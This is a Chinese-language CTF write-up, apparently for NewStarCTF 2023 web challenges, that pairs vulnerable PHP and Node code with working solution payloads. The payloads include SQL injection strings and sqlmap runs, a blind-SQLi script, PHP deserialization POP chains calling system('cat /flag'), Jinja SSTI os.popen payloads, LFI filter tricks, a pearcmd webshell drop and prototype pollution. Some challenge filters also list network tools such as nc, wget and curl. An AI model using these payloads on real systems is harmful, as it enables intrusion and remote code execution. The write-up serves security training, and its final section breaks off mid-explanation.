1
2
3
4
5
6
7
8
9

X-Forwarded-For:127.0.0.1
Client-ip:127.0.0.1
X-Client-IP:127.0.0.1
X-Remote-IP:127.0.0.1
X-Rriginating-IP:127.0.0.1
X-Remote-addr:127.0.0.1
HTTP_CLIENT_IP:127.0.0.1
X-Real-IP:127.0.0.1
X-Originating-IP:127.0.0.1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
}

1

key1[]=1&key2[]=2

1

key3[]=1

1

key4[]=1	#strcmp比较的是字符串类型，如果强行传入其他类型参数，会出错，出错后返回值0，正是利用这点进行绕过。

1

key5=2024a   #与数字时比较自动转换为2024

1

flag5[]=1

1
2

get传：?key1[]=1&key2[]=2&key4[]=1&key5=2024a
post传：key3[]=1&flag5[]=1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
    $password=md5($_POST['password']);
    $code=$_POST['e_v.a.l'];
    if(substr($password,0,6)==="c4d038"){
        if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
            eval($code);
        }
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

import hashlib
import itertools


def crack_md5(target_prefix, max_length=6, charset=None):
    if charset is None:
        charset = 'abcdefghijklmnopqrstuvwxyz0123456789'  # 默认字符集：小写字母 + 数字

    for length in range(1, max_length + 1):
        for candidate in itertools.product(charset, repeat=length):
            candidate_str = ''.join(candidate)
            hash_md5 = hashlib.md5(candidate_str.encode()).hexdigest()

            if hash_md5.startswith(target_prefix):
                print(f"Found password: {candidate_str}")
                print(f"Full MD5 hash:  {hash_md5}")
                return candidate_str

    print("Password not found in given search space")
    return None


# 使用示例
if __name__ == "__main__":
    target_prefix = 'c4d038'
    crack_md5(target_prefix, max_length=6)

1
2
3

password=f3nro&e[v.a.l=print_r(scandir('/'));

#在php中变量名只有数字字母下划线，被get或者post传入的变量名，如果含有空格、+、.、[则会被转化为_，但php中有个特性就是如果传入[，它被转化为_之后，后面的字符就会被保留下来不会被替换。

1

password=f3nro&e[v.a.l=highlight_file(glob("/f*")[0]);

1
2
3
4
5

// 打开浏览器的控制台，复制以下代码到控制台中运行
// 修改 gameScore 的值为 100000
gameScore = 100000;
// 再次调用 gameover 函数，使修改后的分数生效
gameover();

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
    @include($file);
}else{
    die("nope");
}
?>

1
2

php://filter/convert.iconv.utf-8.utf-16/resource=flag.php
#php://filter/read=convert.iconv.utf-8.utf-16/resource=flag.php一样

1
2

php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
#php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php一样

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

<?php
/**
 * UCS-2LE to UCS-2BE flag decoder
 * 用于还原通过 php://filter/convert.iconv.UCS-2LE.UCS-2BE 编码的flag
 */

// 要解码的字符串
$encoded = "<hp p//lfga9{78e7b5-681c94-b1-a38c76-cd0edcd294}1";

/**
 * 解码函数
 * 1. 先将字符串反转
 * 2. 然后交换每对字节
 * 3. 最后再次反转得到正确的flag格式
 */
function decode_flag($encoded_str) {
    // 步骤1：反转整个字符串
    $reversed = strrev($encoded_str);
    
    // 步骤2：交换每对字节
    $decoded = "";
    $bytes = str_split($reversed, 2);
    
    foreach ($bytes as $byte) {
        if (strlen($byte) == 2) {
            $decoded .= $byte[1] . $byte[0];
        } else {
            $decoded .= $byte;
        }
    }
    
    // 步骤3：再次反转得到正确的flag格式
    return strrev($decoded);
}

// 执行解码
$decoded = decode_flag($encoded);

echo "最终Flag结果: " . $decoded . "\n";

?> 
   #将字符串转换为字节数组并交换相邻字节，这模拟了 UCS-2LE 和 UCS-2BE 之间的转换
   #为什么不能直接实现UCS-2BE 和 UCS-2LE的转换，因为输入字符串 <hp p//lfga9{78e7b5-681c94-b1-a38c76-cd0edcd294}1 不是有效的 UCS-2 编码，它只是一个普通的 ASCII/UTF-8 字符串，iconv 期望输入是有效的 UCS-2 编码数据，所以会报错,我们需要先将字符串转换为字节数组,然后手动交换每对字节
    #为什么需要反转：在文件包含漏洞中，转换过程可能涉及多次编码转换,反转字符串是为了处理可能的字节序问题

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

str = "<hp p//lfga9{78e7b5-681c94-b1-a38c76-cd0edcd294}1"
str=str[::-1]
str_encoded = ''
for i in range(len(str)):
    if i % 2 == 1:
        str_encoded += str[i]
        str_encoded += str[i - 1]

str_encoded = str_encoded[::-1]
print(str_encoded)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

order
by
union
select
group
concat
database
table
column
name
information
schema
where
flag

1

?id=TMP0919'  Order by 5--+ #过滤了order，大小写绕过

1

?id=1'  uNion sElect 1,2,3,4,5--+   #让id查不到，所以后面命令生效，过滤了union与select，1-5都有回显

1

?id=1'  uNion sElect 1,2,3,4,database()--+  #发现是ctf

1

?id=1'  uNion sElect 1,2,3,4,group_concat(table_name) from infOrmation_schema.tables Where table_schema=database()--+	#查表，过滤了information,改成infOrmation才行iNformation不行，还过滤了where,得到表here_is_flag

1

?id=1'  uNion sElect 1,2,3,4,group_concat(column_name) from infOrmation_schema.columns Where table_name="here_is_flag"--+	#得到字段名

1

?id=1'  uNion sElect 1,2,3,4,group_concat(flag) from "here_is_flag"--+ #查字段内容

1

python sqlmap.py -u "http://b32c0a3e-c85b-4269-a57f-bf029fda741b.node5.buuoj.cn:81/?id=1" -p id --random-agent --fresh-queries --no-cast --technique=U -dbs

1

python sqlmap.py -u "http://b32c0a3e-c85b-4269-a57f-bf029fda741b.node5.buuoj.cn:81/?id=1" -p id --random-agent --fresh-queries --no-cast --technique=U -D ctf -T here_is_flag -C "flag"  -dump

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
    private $cmd;

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

@unserialize($_POST['unser']);
?>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

<?php
class evil {
    private $cmd="ls /";

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

$a=new evil();
echo serialize($a)."\n";
echo urlencode(serialize($a))."\n";

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

<?php
class evil {
    private $cmd="nl /th1s_1s_fffflllll4444aaaggggg";

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

$a=new evil();
echo serialize($a)."\n";
echo urlencode(serialize($a))."\n";
#O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A33%3A%22nl+%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7D

1
2
3
4
5
6
7

<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star']) 会移除所有符合特定模式的字符串

模式解释：

[^\W]+ 匹配一个或多个"单词字符"（字母、数字、下划线）

\( 匹配左括号

(?R)? 表示可选的递归匹配整个模式（即可以嵌套函数调用）

\) 匹配右括号

这个正则只允许纯函数调用（如 func() 或 func1(func2())），不允许有其他字符

1

?star=system(array_rand(array_flip(getallheaders())));   #多发包几次即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

<?php

class minipop{
    public $code='ls /| te""e 2';
    public $qwejaskdjnlka;
    public function __toString()
    {
        echo "123"."\n";
        if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
            exec($this->code);
        }
        return "alright";
    }
    public function __destruct()
    {
        echo $this->qwejaskdjnlka;
    }
}

$a=new minipop();
$a->qwejaskdjnlka=new minipop();

echo serialize($a);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

<?php

class minipop{
    public $code='cat /flag_is_h3eeere| te""e 3';
    public $qwejaskdjnlka;
    public function __toString()
    {
        echo "123"."\n";
        if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
            exec($this->code);
        }
        return "alright";
    }
    public function __destruct()
    {
        echo $this->qwejaskdjnlka;
    }
}

$a=new minipop();
$a->qwejaskdjnlka=new minipop();

echo serialize($a);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

<?php


class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}

@unserialize($_POST['pop']);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

<?php


class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    public $func;

    public function __toString()
    {
        echo "111";
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    public $obj;

    public function __call($func, $vars)
    {
        echo "222";
        $this->obj->end();
    }

}

class Super{
    public $obj;
    public function __invoke()
    {
        echo "333";
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        echo "444";
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        echo "555"."\n";
        ($this->func)($this->var);    
    }
}

$a=new Begin();
$a->name=new Then();
$a->name->func=new Super();
$a->name->func->obj=new Handle();
$a->name->func->obj->obj=new CTF();
$a->name->func->obj->obj->handle=new WhiteGod();

$a->name->func->obj->obj->handle->func="system";
$a->name->func->obj->obj->handle->var="cat /flag";

echo serialize($a)."\n";
#echo urlencode(serialize($a))."\n";

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

<?php
    error_reporting(0);
    if(isset($_GET['file'])) {
        $file = $_GET['file'];
        
        if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
            die('hacker!');
        }
        
        include($file.".php");
        # Something in phpinfo.php!
    }
    else {
        highlight_file(__FILE__);
    }
?>

1
2

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[0]);?>
+/tmp/cmd.php

1
2
3

?file=/tmp/cmd
#post
0=system("cat /flag");

1

?name={% print(cycler["__in""it__"]["__globals__"].os["pop""en"]("cat /flag").read()) %}

1
2

{% print(get_flashed_messages.__globals__.os["pop"+"en"]("cat /flag").read
()) %}

1

python sqlmap.py -u "http://e62a10ae-d01a-4e90-846b-731d234a5d8f.node5.buuoj.cn:81/?id=TMP0919" -p id --random-agent --fresh-queries --no-cast --technique=B -dbs  #sqlmap跑布尔盲注，盲注如果没跑出多跑几次

1

python sqlmap.py -u "http://e62a10ae-d01a-4e90-846b-731d234a5d8f.node5.buuoj.cn:81/?id=TMP0919" -p id --random-agent --fresh-queries --no-cast --technique=B -D "ctf" --tables

1

python sqlmap.py -u "http://e62a10ae-d01a-4e90-846b-731d234a5d8f.node5.buuoj.cn:81/?id=TMP0919" -p id --random-agent --fresh-queries --no-cast --technique=B -D ctf -T  here_is_flag --columns

1

python sqlmap.py -u "http://e62a10ae-d01a-4e90-846b-731d234a5d8f.node5.buuoj.cn:81/?id=TMP0919" -p id --random-agent --fresh-queries --no-cast --technique=B -D ctf -T   here_is_flag -C flag -dump

1
2
3
4

?id=TMP0919' And if(1>0,1,0)--+
?id=TMP0919' And if(0>1,1,0)--+
发第一个，有回显，第二个，没回显，说明页面可以根据if判断的结果回显两种（真假）内容，
因此是布尔盲注。

1

?id=TMP0919' And Ord(sUbstr((sElect table_name FRom infOrmation_schema.tables Where table_schema=database() limit 0,1),1,1))>96--+

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

import requests

base_url = "http://46a70b06-0db8-4b2a-b7dd-74d59ba86edd.node5.buuoj.cn:81/"

result = ""
i = 0

while True:
    i += 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) // 2  # 使用整数除法

        # 根据需要切换payload
        #payload = "sElect group_concat(table_name) FRom infOrmation_schema.tables Where table_schema=database()"
        #payload = "sElect group_concat(column_name) FRom infOrmation_schema.columns Where table_name='here_is_flag'"
        payload = "sElect (flag) FRom `here_is_flag`"       #这里here_is_flag要用反引号才行，单引号不行，反引号用于标识数据库、表、列等对象的名称。

        # 构造正确的URL字符串（注意去掉了末尾逗号）
        current_url = f"{base_url}?id=TMP0919' And Ord(sUbstr(({payload}),{i},1))>{mid}--+"
        #这里可以不需要limit 0,1，即f"{base_url}?id=TMP0919' And Ord(sUbstr(({payload}),{i},1))>{mid}--+"就行

        r = requests.get(url=current_url)
        if 'Physics' in r.text:
                head = mid + 1
        else:
                tail = mid


    if head != 32:
        result += chr(head)
        print(f"[+] 当前结果: {result}")
    else:
        break
        print(f"[+] 当前结果: {result}")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

const merge = (dst, src) => {
    if (typeof dst !== "object" || typeof src !== "object") return dst;
    for (let key in src) {
        if (key in dst && key in src) {
            dst[key] = merge(dst[key], src[key]);
        } else {
            dst[key] = src[key];
        }
    }
    return dst;
}

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113

const Router = require("koa-router");
const router = new Router();  // 创建Koa路由实例
const SQL = require("./sql"); // 引入自定义SQL模块
const sql = new SQL("wishes"); // 创建针对wishes表的SQL操作实例
const Base58 = require("base-58"); // Base58编码库，用于生成短链接等场景

// 定义生成随机字符串的字符集（大小写字母+数字）
const ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

// 生成指定长度的随机字符串
const rndText = (length) => {
    return Array.from({ length }, () => ALPHABET[Math.floor(Math.random() * ALPHABET.length)]).join('');
}

// 将时间戳转换为混淆编码字符串
const timeText = (timestamp) => {
    // 处理时间戳：如果是数字则直接使用，否则取当前时间
    timestamp = (typeof timestamp === "number" ? timestamp : Date.now()).toString();
    // 将时间戳字符串分为前后两半
    let text1 = timestamp.substring(0, timestamp.length / 2);
    let text2 = timestamp.substring(timestamp.length / 2)
    let text = "";
    // 交叉拼接前后两半字符（例如：前段正序，后段倒序）
    for (let i = 0; i < text1.length; i++)
        text += text1[i] + text2[text2.length - 1 - i];
    // 处理奇数长度情况
    if (text2.length > text1.length) text += text2[0];
    // 添加3个随机字符后进行Base58编码（总长度固定为20）
    return Base58.encode(rndText(3) + Buffer.from(text)); // 编码后长度固定为20
}

// 生成随机ID（包含时间信息和随机字符串）
const rndID = (length, timestamp) => {
    const t = timeText(timestamp); // 获取时间特征字符串（长度20）
    // 根据目标长度调整：截断或补充随机字符
    if (length < t.length) return t.substring(0, length);
    else return t + rndText(length - t.length); // 总长度 = 20 + (length-20)
}

// 数据库插入操作
async function insert2db(data) {
    // 强制转换字段为字符串类型（防止注入）
    let date = String(data["date"]), place = String(data["place"]),
        contact = String(data["contact"]), reason = String(data["reason"]);
    const timestamp = Date.now(); // 获取当前时间戳
    const wishid = rndID(24, timestamp); // 生成24位ID（20位时间特征 + 4位随机）
    // 使用参数化查询防止SQL注入
    await sql.run(`INSERT INTO wishes (wishid, date, place, contact, reason, timestamp) VALUES (?, ?, ?, ?, ?, ?)`,
        [wishid, date, place, contact, reason, timestamp]).catch(e => { throw e });
    return { wishid, date, place, contact, reason, timestamp } // 返回插入数据
}

// 递归合并对象（此处实现为浅合并，非深度合并）
const merge = (dst, src) => {
    if (typeof dst !== "object" || typeof src !== "object") return dst;
    for (let key in src) {
        if (key in dst && key in src) {
            dst[key] = merge(dst[key], src[key]); // 递归合并子属性
        } else {
            dst[key] = src[key]; // 直接复制属性
        }
    }
    return dst;
}

// 处理POST /submit路由
router.post("/submit", async (ctx) => {
    // 强制检查Content-Type（防御姿势）
    if (ctx.header["content-type"] !== "application/json")
        return ctx.body = {
            status: "error",
            msg: "Content-Type must be application/json" // 严格校验内容类型
        }

    // 获取原始请求体（需要配合koa-bodyparser中间件）
    const jsonText = ctx.request.rawBody || "{}"
    try {
        const data = JSON.parse(jsonText); // 解析JSON数据

        // 参数类型校验（仅检查contact和reason）
        if (typeof data["contact"] !== "string" || typeof data["reason"] !== "string")
            return ctx.body = {
                status: "error",
                msg: "Invalid parameter" // 类型错误提示
            }
        // 非空校验（允许空格字符串）
        if (data["contact"].length <= 0 || data["reason"].length <= 0)
            return ctx.body = {
                status: "error",
                msg: "Parameters contact and reason cannot be empty"
            }

        // 设置默认值（date和place字段）
        const DEFAULT = {
            date: "unknown", // 默认日期
            place: "unknown" // 默认地点
        }
        // 合并用户数据（用户数据会覆盖默认值）
        const result = await insert2db(merge(DEFAULT, data));
        ctx.body = {
            status: "success",
            data: result // 返回完整插入数据
        };
    } catch (e) {
        console.error(e); // 打印错误日志
        ctx.body = {
            status: "error",
            msg: "Internal Server Error" // 统一错误提示（避免信息泄露）
        }
    }
})

module.exports = router;

1
2
3

 if (typeof data["contact"] !== "string" || typeof data["reason"] !== "string")由这里知道contact和reason一定要被设置一个字符串
 
 再看insert2db(merge(DEFAULT, data));这里肯定是进行利用原型污染链，但是咋利用？

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

const Router = require("koa-router");
const router = new Router(); // 创建Koa路由实例
const SQL = require("./sql"); // 引入自定义SQL模块
const sql = new SQL("wishes"); // 创建针对wishes表的SQL操作实例
const CONFIG = require("../config") // 加载用户自定义配置
const DEFAULT_CONFIG = require("../config.default") // 加载默认配置

// 获取指定时间戳之后的数据
async function getInfo(timestamp) {
    timestamp = typeof timestamp === "number" ? timestamp : Date.now(); // 参数有效性处理
    // 过滤电影上映前的测试数据：取配置中的最小公开时间
    let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.default.min_public_time).getTime();
    timestamp = Math.max(timestamp, minTimestamp); // 确保时间戳不小于最小公开时间
    // 参数化查询避免SQL注入，获取指定时间后的数据
    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
    return data;
}

// 处理POST /info/:ts 路由（ts为可选参数）
router.post("/info/:ts?", async (ctx) => {
    // 强制检查Content-Type（严格模式）
    if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")
        return ctx.body = {
            status: "error",
            msg: "Content-Type must be application/x-www-form-urlencoded" // 格式错误提示
        }
    // 处理可选参数：未提供时设为0（获取全部数据）
    if (typeof ctx.params.ts === "undefined") ctx.params.ts = 0
    // 参数验证：必须为纯数字字符串
    const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
    if (typeof timestamp !== "number") // 类型验证
        return ctx.body = {
            status: "error",
            msg: "Invalid parameter ts" // 参数类型错误提示
        }

    try {
        const data = await getInfo(timestamp).catch(e => { throw e }); // 获取数据
        ctx.body = {
            status: "success",
            data: data // 返回完整数据集
        }
    } catch (e) {
        console.error(e); // 记录错误日志
        return ctx.body = {
            status: "error",
            msg: "Internal Server Error" // 统一错误提示
        }
    }
})

module.exports = router;

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

// 获取指定时间戳之后的数据
async function getInfo(timestamp) {
    timestamp = typeof timestamp === "number" ? timestamp : Date.now(); // 参数有效性处理
    // 过滤电影上映前的测试数据：取配置中的最小公开时间
    let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.default.min_public_time).getTime();
    timestamp = Math.max(timestamp, minTimestamp); // 确保时间戳不小于最小公开时间
    // 参数化查询避免SQL注入，获取指定时间后的数据
    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
    return data;
}

1
2
3
4
5

let minTimestamp = new Date(
  CONFIG.min_public_time ||          // 用户配置优先
  DEFAULT_CONFIG.default.min_public_time // 默认配置
).getTime();	
这里我们想获取更早的数据那就要绕过minTimestamp（最小公开时间）获得更早的数据，由 config.default.js知道` min_public_time: "2019-07-09",`而config.js是没有配置min_public_time的，所以此时是配置的minTimestamp是config.default.js,但是我们可以污染config.js,通过原型污染修改 Object.prototype.min_public_time，这时候min_public_time就是我们所污染的值了。（CONFIG.min_public_time优先）（也就是说CONFIG.min_public_time 实际访问的是原型链上的值）

1
2
3
4
5
6
7

{
 "contact": "test",
 "reason": "test",
 "__proto__": {
 "min_public_time": "1001-01-01"
}
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

<?php
highlight_file(__FILE__);
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

<?php

function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd="whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}

echo serialize(new GetFlag($key='badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}'));
echo waf(serialize(new GetFlag($key='badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}')));

1

key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

<?php

function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd="whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}


echo serialize(new GetFlag($key='badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}'));
echo waf(serialize(new GetFlag($key='badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}')));

1

key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

<?php
highlight_file(__FILE__);

class Start{
    public $errMsg;
    public function __destruct() {
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

<?php
class Start{
    public $errMsg;
    public function __destruct() {
        echo "111"."\n";
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        echo "222"."\n";
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        echo "333"."\n";
        ($this->func)();
    }
}

class Web{
    public $func="system";
    public $var="ls /";#cat /f*
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            echo "444"."\n";
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        echo "555"."\n";
        $wel = $this->obj->good;
        return "NewStar";
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}


$a=new Start();
$a->errMsg=new Crypto();
$a->errMsg->obj=new Reverse();
$a->errMsg->obj->func=new Pwn();
$a->errMsg->obj->func->obj=new Web();

echo  serialize($a)."\n";
echo urlencode(serialize($a))."\n";

1

fast=O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}

1
2
3
4
5
6
7
8
9

不完整反序列化触发GC
PHP反序列化容错机制
当反序列化遇到格式错误（如缺少闭合的}）时，PHP会抛出警告但仍会尝试解析已处理的部分对象。这些被部分解析的对象会被创建并保留在内存中。

异常后的GC行为
即使后续代码抛出异常（如throw new Exception("Nope")），PHP在脚本终止前仍会销毁所有已创建的对象，触发它们的__destruct方法。

利用不完整序列化字符串
